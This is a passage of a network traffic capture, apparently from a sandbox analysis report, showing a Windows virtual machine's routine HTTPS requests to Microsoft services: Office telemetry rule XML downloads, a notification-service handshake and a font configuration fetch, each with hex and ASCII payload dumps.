20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143823Z-r1cf579d778xq4f9hC1EWRx41g00000005cg000000006hy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143823Z-r1cf579d778v97q7hC1EWRf95c0000000590000000003bpz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49751	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 73 59 36 45 4f 37 48 57 31 55 53 35 49 53 72 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 33 32 37 37 38 31 39 39 31 38 65 39 39 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: sY6EO7HW1US5ISr8.1Context: 403277819918e999
2024-12-08 14:38:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 59 36 45 4f 37 48 57 31 55 53 35 49 53 72 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 33 32 37 37 38 31 39 39 31 38 65 39 39 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: sY6EO7HW1US5ISr8.2Context: 403277819918e999<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:24 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 73 59 36 45 4f 37 48 57 31 55 53 35 49 53 72 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 33 32 37 37 38 31 39 39 31 38 65 39 39 39 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: sY6EO7HW1US5ISr8.3Context: 403277819918e999
2024-12-08 14:38:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 58 6a 2b 69 4b 61 2f 44 6b 65 32 35 53 4a 56 4b 63 30 42 41 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: cXj+iKa/Dke25SJVKc0BAQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49752	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-08 14:38:25 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=112091 Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-08 14:38:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a29f7b6d-801e-0047-2809-497265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143825Z-r1cf579d7789trgthC1EWRkkfc0000000680000000007081 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:25 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143825Z-r1cf579d778z4wflhC1EWRa3h000000005sg000000000wtb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143825Z-r1cf579d778mvsklhC1EWRkavg00000005sg000000008ykk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143825Z-r1cf579d778z4wflhC1EWRa3h000000005mg0000000063c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:25 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143825Z-r1cf579d778dfdgnhC1EWRd3w000000005h000000000044s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143827Z-r1cf579d77867vg8hC1EWR8knc00000005hg000000001v7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:27 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143827Z-r1cf579d778z4wflhC1EWRa3h000000005t00000000006gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
